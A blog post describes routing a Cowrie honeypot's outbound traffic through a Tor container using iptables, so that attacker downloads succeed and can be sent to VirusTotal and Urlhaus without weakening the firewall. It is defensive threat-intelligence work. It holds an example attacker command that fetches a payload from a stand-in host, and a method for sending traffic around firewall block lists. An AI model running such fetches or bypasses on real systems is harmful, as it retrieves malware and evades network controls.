I Made My Honeypot Download Malware.

Jari Huttunen — Thu, 13 Aug 2026 15:27:59 +0000

TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules.

The problem: my honeypot was too well protected
Why I didn't just whitelist Cowrie
The solution: Cowrie goes Tor
The Docker Compose
Now the download actually happens
And now things get interesting
One important disclaimer

The problem: my honeypot was too well protected

I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense.

The goal is pretty simple:

Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it.

I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus.

There was just one small problem.

My firewall was doing its job.

Which, in this particular case, was extremely inconvenient.

My network looks roughly like this:

Internet
    |
    v
 OPNsense
    |
    +-- CrowdSec
    |
    v
 Proxmox
    |
    +-- Cowrie

OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that.

But Cowrie is not a normal server. If an attacker gets a shell and runs:

wget http://some-sketchy-ip/payload

I don't want OPNsense to say:

"Absolutely not, that's malware."

I want Cowrie to say:

"Oh? You're downloading something? By all means. Please continue."

Because that's literally why the honeypot exists.
Instead, I was getting something like:

Attacker
   |
   v
Cowrie
   |
   v
wget http://evil.example/payload
   |
   v
OPNsense
   |
   v
NOPE

The malicious URL was known to CrowdSec, so the outbound connection was blocked.

No download. No sample. No analysis.

Just a very secure honeypot sitting there politely refusing to get hacked.
Not exactly what I ordered.

Why I didn't just whitelist Cowrie

The obvious solution is to create a firewall rule:

"Cowrie is allowed to connect to malicious things."

Technically, sure. But I really didn't like that approach.
I'd be turning the honeypot into a special trusted machine and then maintaining firewall exceptions around it. That's backwards.

The whole point of the honeypot is that I don't trust it.
So instead of teaching OPNsense to trust Cowrie, I decided to make Cowrie's outbound traffic go somewhere else.

Enter Tor.

The solution: Cowrie goes Tor

The new setup looks like this:

                       Internet
                          ^
                          |
                     Tor network
                          ^
                          |
                   +------+------+
                   |  tor-router |
                   |   Docker    |
                   +------+------+
                          |
                  shared network
                     namespace
                          |
                   +------+------+
                   |   Cowrie   |
                   +------------+

                          |
                       Proxmox
                          |
                       OPNsense
                          |
                       Internet

The trick is that Cowrie and the Tor container share the same network namespace.

This line is the important one:

network_mode: "container:tor-router"

Cowrie basically gets shoved into the Tor container's network stack.
Then iptables transparently redirects outbound TCP and DNS traffic to Tor.
No proxy configuration inside Cowrie.
No modifying whatever malware happens to be running.
No trying to predict which ports or protocols an attacker will use.
Cowrie just thinks it has normal Internet access.

It doesn't.

And that's exactly what I want.

The Docker Compose

Here's the whole thing:

version: '3.8'

services:
  tor-router:
    image: alpine:latest
    container_name: tor-router

    # Cowrie shares this container's network namespace,
    # so its ports need to be exposed here.
    ports:
      - "2222:2222"
      - "2223:2223"

    cap_add:
      - NET_ADMIN

    entrypoint: >
      sh -c "
      apk add --no-cache tor iptables &&
      echo -e 'Log notice stdout\nDataDirectory /var/lib/tor\nUser tor\nTransPort 127.0.0.1:9040\nDNSPort 127.0.0.1:5353' > /etc/tor/torrc &&

      iptables -t nat -A OUTPUT
      -p tcp
      -m owner --uid-owner tor
      -j RETURN &&

      iptables -t nat -A OUTPUT
      -p tcp
      -j REDIRECT --to-ports 9040 &&

      iptables -t nat -A OUTPUT
      -p udp --dport 53
      -j REDIRECT --to-ports 5353 &&

      tor -f /etc/tor/torrc
      "

    restart: always

  cowrie:
    image: cowrie/cowrie:latest
    container_name: cowrie-honeypot

    # This is the magic.
    network_mode: "container:tor-router"

    volumes:
      - ./cowrie-var:/path/to/cowrie/var
      - ./cowrie.cfg:/path/to/cowrie/etc/cowrie.cfg:ro

    depends_on:
      - tor-router

    restart: always

There are two things worth understanding here.

1. Cowrie shares the Tor network namespace

network_mode: "container:tor-router"

This means Cowrie doesn't have its own network namespace. It uses the one belonging to tor-router.

Consequently, the published Cowrie ports also have to be configured on tor-router:

ports:
  - "2222:2222"
  - "2223:2223"

Otherwise Docker gets understandably confused about where those ports are supposed to go.

2. iptables catches Cowrie's traffic

Tor is listening on:

TransPort 127.0.0.1:9040
DNSPort   127.0.0.1:5353

TCP traffic gets redirected:

iptables -t nat -A OUTPUT -p tcp -j REDIRECT --to-ports 9040

DNS gets redirected:

iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353

But there's an important exception:

iptables -t nat -A OUTPUT \
    -p tcp \
    -m owner --uid-owner tor \
    -j RETURN

Otherwise Tor would catch its own traffic and send it back into its own transparent proxy.

Which would be bad.

Very bad.

Now the download actually happens

The attacker does:

wget http://evil.example/payload

Cowrie sees it.

The connection gets redirected to Tor.

Tor takes it from there.

Eventually:

Cowrie
   |
   v
iptables
   |
   v
Tor
   |
   v
Tor exit
   |
   v
evil.example
   |
   v
payload

And finally Cowrie gets the thing I actually wanted: the malware.

Meanwhile, my normal network still goes through OPNsense and CrowdSec exactly as before. That's the important bit.

I haven't told my firewall:

"Hey, malicious destinations are fine now."

I've effectively told the honeypot:

"You're on your own. Good luck."

Which feels much more appropriate.

And now things get interesting

Once Cowrie can actually retrieve the files, I can build a useful pipeline around them.

Something like:

                    Cowrie
                       |
                download event
                       |
                       v
                  Malware file
                       |
              +--------+--------+
              |                 |
              v                 v
           SHA-256           Urlhaus
              |
              v
          VirusTotal

I've also been working on an Urlhaus output module for Cowrie, so this experiment has turned into a bit of a rabbit hole.

The interesting part isn't really "I made Cowrie use Tor."

It's the combination of:

honeypot → capture → enrichment → threat intelligence

Instead of:

"Look, my honeypot got attacked."

I wanted:

"Look, my honeypot got attacked, here's what they downloaded, here's the hash, here's where it came from, and here's what the threat-intelligence services know about it."

That's considerably more useful.

One important disclaimer

This is a honeypot. It is an open invite to all things nasty and evil on the internet. It is deliberately allowing potentially hostile software to make outbound connections.

Do not copy this architecture and put your production server behind it because some guy on the internet said it was cool.

The honeypot should be isolated from anything you actually care about.

For me, the nice property of this setup is that I don't need to weaken my normal OPNsense/CrowdSec security controls just to make the honeypot useful. TOR also hides my identity from remote malware sites thus also preserving honeypot's existence.

My normal machines can continue to get:

BLOCKED

when they try to connect to known malicious infrastructure.

Cowrie gets:

Sure, go ahead. Let's see what happens.

That's exactly the separation I wanted.

DEV Community: Jari Huttunen